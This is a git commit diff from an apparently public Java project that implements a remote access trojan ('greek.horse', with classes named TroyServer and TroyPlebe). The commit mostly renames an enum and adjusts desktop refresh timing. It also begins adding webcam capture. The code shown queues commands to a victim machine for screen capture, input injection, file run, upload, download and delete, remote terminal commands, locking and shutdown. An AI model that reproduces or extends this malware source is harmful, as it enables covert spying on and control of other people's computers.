Browse Source

refactoring & fixed excessive DESKTOP_REFRESH requests & begin adding webcam stuff

main
mainSpi 3 years ago
parent
commit
c2a3cf9a78
  1. 2
      src/main/java/greek/horse/client/ClientSocketManager.java
  2. 16
      src/main/java/greek/horse/models/FunctionTicket.java
  3. 3
      src/main/java/greek/horse/models/MonitorDesktopWrapper.java
  4. 6
      src/main/java/greek/horse/models/RequestFunctionType.java
  5. 42
      src/main/java/greek/horse/server/troyStructure/TroyPlebe.java
  6. 4
      src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java
  7. 4
      src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java
  8. 1
      src/main/java/greek/horse/server/ui/controllers/HorseController.java
  9. 4
      src/main/java/greek/horse/server/ui/controllers/WebcamController.java
  10. 12
      src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java
  11. 49
      src/main/resources/scenes/webcam.fxml
  12. BIN
      target/classes/greek/horse/client/ClientSocketManager$1.class
  13. BIN
      target/classes/greek/horse/client/ClientSocketManager.class
  14. BIN
      target/classes/greek/horse/models/FunctionTicket.class
  15. BIN
      target/classes/greek/horse/models/MonitorDesktopWrapper.class
  16. BIN
      target/classes/greek/horse/models/RequestFunction.class
  17. BIN
      target/classes/greek/horse/models/RequestFunctionType.class
  18. BIN
      target/classes/greek/horse/server/troyStructure/TroyPlebe.class
  19. BIN
      target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class
  20. BIN
      target/classes/greek/horse/server/troyStructure/request/UniqueTroyRequest.class
  21. BIN
      target/classes/greek/horse/server/ui/controllers/HorseController.class
  22. BIN
      target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class
  23. BIN
      target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class
  24. 49
      target/classes/scenes/webcam.fxml

2
src/main/java/greek/horse/client/ClientSocketManager.java

@ -147,7 +147,7 @@ public class ClientSocketManager {
private Object answerTicket(FunctionTicket ticket, Object o) {
try {
RequestFunction f = ticket.getFunction();
RequestFunctionType f = ticket.getFunction();
switch (f) {
case NET_INFO:

16
src/main/java/greek/horse/models/FunctionTicket.java

@ -4,12 +4,12 @@ import java.io.Serializable;
import java.util.Objects;
public class FunctionTicket implements Serializable {
private final RequestFunction requestFunction;
private final RequestFunctionType requestFunctionType;
private final String id;
private final boolean fixed;
public FunctionTicket(RequestFunction requestFunction, String id, boolean fixed) {
this.requestFunction = requestFunction;
public FunctionTicket(RequestFunctionType requestFunctionType, String id, boolean fixed) {
this.requestFunctionType = requestFunctionType;
this.id = id;
this.fixed = fixed;
}
@ -17,7 +17,7 @@ public class FunctionTicket implements Serializable {
@Override
public String toString() {
return "FunctionTicket{" +
"function=" + requestFunction +
"function=" + requestFunctionType +
", id='" + id + '\'' +
", fixed=" + fixed +
'}';
@ -28,20 +28,20 @@ public class FunctionTicket implements Serializable {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
FunctionTicket that = (FunctionTicket) o;
return requestFunction == that.requestFunction && Objects.equals(id, that.id);
return requestFunctionType == that.requestFunctionType && Objects.equals(id, that.id);
}
@Override
public int hashCode() {
return Objects.hash(requestFunction, id);
return Objects.hash(requestFunctionType, id);
}
public String getId() {
return id;
}
public RequestFunction getFunction() {
return requestFunction;
public RequestFunctionType getFunction() {
return requestFunctionType;
}
public boolean isFixed() {

3
src/main/java/greek/horse/models/MonitorDesktopWrapper.java

@ -6,10 +6,9 @@ public class MonitorDesktopWrapper implements Serializable {
private final double width;
private final double height;
private final boolean compressed;
private int monitor;
private final int monitor;
public MonitorDesktopWrapper(double w, double Height, boolean compressed, int monitor) {
this.width = w;
this.height = Height;
this.compressed = compressed;

6
src/main/java/greek/horse/models/RequestFunction.java → src/main/java/greek/horse/models/RequestFunctionType.java

@ -2,12 +2,12 @@ package greek.horse.models;
import java.io.Serializable;
public enum RequestFunction implements Serializable {
public enum RequestFunctionType implements Serializable {
NET_INFO,
CHAT_MESSAGE, CHAT_START,
CHAT_START, CHAT_MESSAGE,
RELEASE,
@ -15,6 +15,8 @@ public enum RequestFunction implements Serializable {
DESKTOP_START, DESKTOP_REFRESH, USER_INPUT, MONITOR_COUNT,
WEBCAM_START, WEBCAM_REFRESH, WEBCAM_COUNT,
FILES,
TERMINAL_START, TERMINAL_COMMAND

42
src/main/java/greek/horse/server/troyStructure/TroyPlebe.java

@ -49,35 +49,35 @@ public class TroyPlebe {
}
public UniqueTroyRequest getNetInfo() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.NET_INFO, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.NET_INFO, true);
requests.add(req);
return req;
}
public UniqueTroyRequest getDisconnect() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.DISCONNECT, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.DISCONNECT, false);
requests.add(req);
return req;
}
public void doStop() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.STOP, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.STOP, false);
requests.add(req);
}
public void doToggleLock(boolean lock) {
UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunction.LOCK, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunctionType.LOCK, false);
requests.add(req);
}
public RecurrentTroyRequest startScreenCapture(MonitorDesktopWrapper wrapper) {
RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunction.DESKTOP_START);
RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunctionType.DESKTOP_START);
requests.add(req);
return req;
}
public void sendUserInputs(ArrayList<UserInput> inputs) {
UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunction.USER_INPUT, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunctionType.USER_INPUT, false);
requests.add(req);
}
@ -98,87 +98,87 @@ public class TroyPlebe {
}
public UniqueTroyRequest getDrives() {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest getFiles(Path dir) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest runFile(Path path) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest uploadFile(Path path, String fileName, byte[] bytes) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest getKnownFolders() {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest deleteFile(Path path) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public UniqueTroyRequest downloadFile(Path path) {
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunction.FILES, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunctionType.FILES, true);
requests.add(req);
return req;
}
public TroyRequest startTerminal() {
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.TERMINAL_START);
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunctionType.TERMINAL_START);
requests.add(req);
return req;
}
public Object startChat() {
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.CHAT_START);
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunctionType.CHAT_START);
requests.add(req);
return req;
}
public void sendTerminalCommand(String command) {
UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunction.TERMINAL_COMMAND, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunctionType.TERMINAL_COMMAND, false);
requests.add(req);
}
public void sendChatMessage(String message) {
UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunction.CHAT_MESSAGE, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunctionType.CHAT_MESSAGE, false);
requests.add(req);
}
public void releaseRequest(RecurrentTroyRequest request) {
UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunction.RELEASE, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunctionType.RELEASE, false);
requests.add(req);
request.getReleased().set(true);
}
public void refreshDesktop(MonitorDesktopWrapper wrapper) {
UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunction.DESKTOP_REFRESH, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunctionType.DESKTOP_REFRESH, false);
requests.add(req);
}
public void turnOff() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.TURN_OFF, false);
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.TURN_OFF, false);
requests.add(req);
}
public UniqueTroyRequest getMonitorCount() {
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.MONITOR_COUNT, true);
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.MONITOR_COUNT, true);
requests.add(req);
return req;
}

4
src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java

@ -1,6 +1,6 @@
package greek.horse.server.troyStructure.request;
import greek.horse.models.RequestFunction;
import greek.horse.models.RequestFunctionType;
import greek.horse.models.FunctionTicket;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
@ -17,7 +17,7 @@ public class RecurrentTroyRequest implements TroyRequest {
private final AtomicBoolean sent = new AtomicBoolean(false);
public RecurrentTroyRequest(Object sendObj, RequestFunction f) {
public RecurrentTroyRequest(Object sendObj, RequestFunctionType f) {
this.sendObj = sendObj;
this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), true);
}

4
src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java

@ -1,6 +1,6 @@
package greek.horse.server.troyStructure.request;
import greek.horse.models.RequestFunction;
import greek.horse.models.RequestFunctionType;
import greek.horse.models.FunctionTicket;
import greek.horse.server.troyStructure.TroyPlebe;
import org.apache.log4j.Logger;
@ -18,7 +18,7 @@ public class UniqueTroyRequest implements TroyRequest {
private final boolean haveResponse;
private static final Logger log = Logger.getLogger(UniqueTroyRequest.class);
public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunction f, boolean haveResponse) {
public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunctionType f, boolean haveResponse) {
this.father = father;
this.sendObj = sendObj;
this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), false);

1
src/main/java/greek/horse/server/ui/controllers/HorseController.java

@ -1,7 +1,6 @@
package greek.horse.server.ui.controllers;
import greek.horse.models.NetInfo;
import greek.horse.models.OS;
import greek.horse.server.troyStructure.NetInfoTable;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.TroyServer;

4
src/main/java/greek/horse/server/ui/controllers/WebcamController.java

@ -0,0 +1,4 @@
package greek.horse.server.ui.controllers;
public class WebcamController {
}

12
src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java

@ -9,9 +9,11 @@ import greek.horse.server.ui.controllers.MonitorDesktopController;
import javafx.application.Platform;
import javafx.collections.ListChangeListener;
import javafx.collections.ObservableList;
import javafx.event.EventHandler;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.input.MouseEvent;
import javafx.stage.Stage;
import org.apache.log4j.Logger;
@ -59,6 +61,14 @@ public class MonitorDesktopTask implements Runnable {
controller.setStage(stage);
controller.setTask(this);
EventHandler<MouseEvent> event = mouseEvent -> {
if (running.get()) {
refreshSettings();
}
};
scene.setOnMouseEntered(event);
scene.setOnMouseExited(event);
stage.show();
} catch (IOException e) {
@ -158,7 +168,7 @@ public class MonitorDesktopTask implements Runnable {
timer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
refreshSettings();
// refreshSettings();
Platform.runLater(() -> {
controller.setFpsText((int) (frameCount.get() / Math.floorDiv(System.currentTimeMillis() - initTime, 1000)));
});

49
src/main/resources/scenes/webcam.fxml

@ -0,0 +1,49 @@
<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.geometry.Insets?>
<?import javafx.geometry.Rectangle2D?>
<?import javafx.scene.control.ChoiceBox?>
<?import javafx.scene.image.ImageView?>
<?import javafx.scene.layout.BorderPane?>
<?import javafx.scene.layout.HBox?>
<?import javafx.scene.text.Font?>
<?import javafx.scene.text.Text?>
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="421.0" minWidth="664.0" prefHeight="421.0" prefWidth="664.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1">
<center>
<ImageView fx:id="imageView" fitHeight="150.0" fitWidth="200.0" onMousePressed="#mousePressed" onMouseReleased="#MouseReleased" pickOnBounds="true" smooth="false" BorderPane.alignment="CENTER">
<viewport>
<Rectangle2D />
</viewport>
</ImageView>
</center>
<bottom>
<HBox alignment="CENTER" prefHeight="35.0" prefWidth="600.0" BorderPane.alignment="CENTER">
<children>
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="93.0">
<HBox.margin>
<Insets right="20.0" />
</HBox.margin>
</ChoiceBox>
<Text fx:id="statusCircleText" boundsType="VISUAL" strokeType="OUTSIDE" strokeWidth="0.0" text="●" textOrigin="CENTER" wrappingWidth="24.76416015625">
<font>
<Font size="30.0" />
</font>
<HBox.margin>
<Insets right="5.0" />
</HBox.margin>
</Text>
<Text fx:id="fpsText" strokeType="OUTSIDE" strokeWidth="0.0" text="0">
<font>
<Font size="14.0" />
</font>
</Text>
<Text strokeType="OUTSIDE" strokeWidth="0.0" text="FPS" textAlignment="RIGHT" wrappingWidth="27.984375">
<font>
<Font size="14.0" />
</font>
</Text>
</children>
</HBox>
</bottom>
</BorderPane>

BIN
target/classes/greek/horse/client/ClientSocketManager$1.class

BIN
target/classes/greek/horse/client/ClientSocketManager.class

BIN
target/classes/greek/horse/models/FunctionTicket.class

BIN
target/classes/greek/horse/models/MonitorDesktopWrapper.class

BIN
target/classes/greek/horse/models/RequestFunction.class

BIN
target/classes/greek/horse/models/RequestFunctionType.class

BIN
target/classes/greek/horse/server/troyStructure/TroyPlebe.class

BIN
target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class

BIN
target/classes/greek/horse/server/troyStructure/request/UniqueTroyRequest.class

BIN
target/classes/greek/horse/server/ui/controllers/HorseController.class

BIN
target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class

BIN
target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class

49
target/classes/scenes/webcam.fxml

@ -0,0 +1,49 @@
<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.geometry.Insets?>
<?import javafx.geometry.Rectangle2D?>
<?import javafx.scene.control.ChoiceBox?>
<?import javafx.scene.image.ImageView?>
<?import javafx.scene.layout.BorderPane?>
<?import javafx.scene.layout.HBox?>
<?import javafx.scene.text.Font?>
<?import javafx.scene.text.Text?>
<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="421.0" minWidth="664.0" prefHeight="421.0" prefWidth="664.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1">
<center>
<ImageView fx:id="imageView" fitHeight="150.0" fitWidth="200.0" onMousePressed="#mousePressed" onMouseReleased="#MouseReleased" pickOnBounds="true" smooth="false" BorderPane.alignment="CENTER">
<viewport>
<Rectangle2D />
</viewport>
</ImageView>
</center>
<bottom>
<HBox alignment="CENTER" prefHeight="35.0" prefWidth="600.0" BorderPane.alignment="CENTER">
<children>
<ChoiceBox fx:id="choiceBox" prefHeight="25.0" prefWidth="93.0">
<HBox.margin>
<Insets right="20.0" />
</HBox.margin>
</ChoiceBox>
<Text fx:id="statusCircleText" boundsType="VISUAL" strokeType="OUTSIDE" strokeWidth="0.0" text="●" textOrigin="CENTER" wrappingWidth="24.76416015625">
<font>
<Font size="30.0" />
</font>
<HBox.margin>
<Insets right="5.0" />
</HBox.margin>
</Text>
<Text fx:id="fpsText" strokeType="OUTSIDE" strokeWidth="0.0" text="0">
<font>
<Font size="14.0" />
</font>
</Text>
<Text strokeType="OUTSIDE" strokeWidth="0.0" text="FPS" textAlignment="RIGHT" wrappingWidth="27.984375">
<font>
<Font size="14.0" />
</font>
</Text>
</children>
</HBox>
</bottom>
</BorderPane>
Loading…
Cancel
Save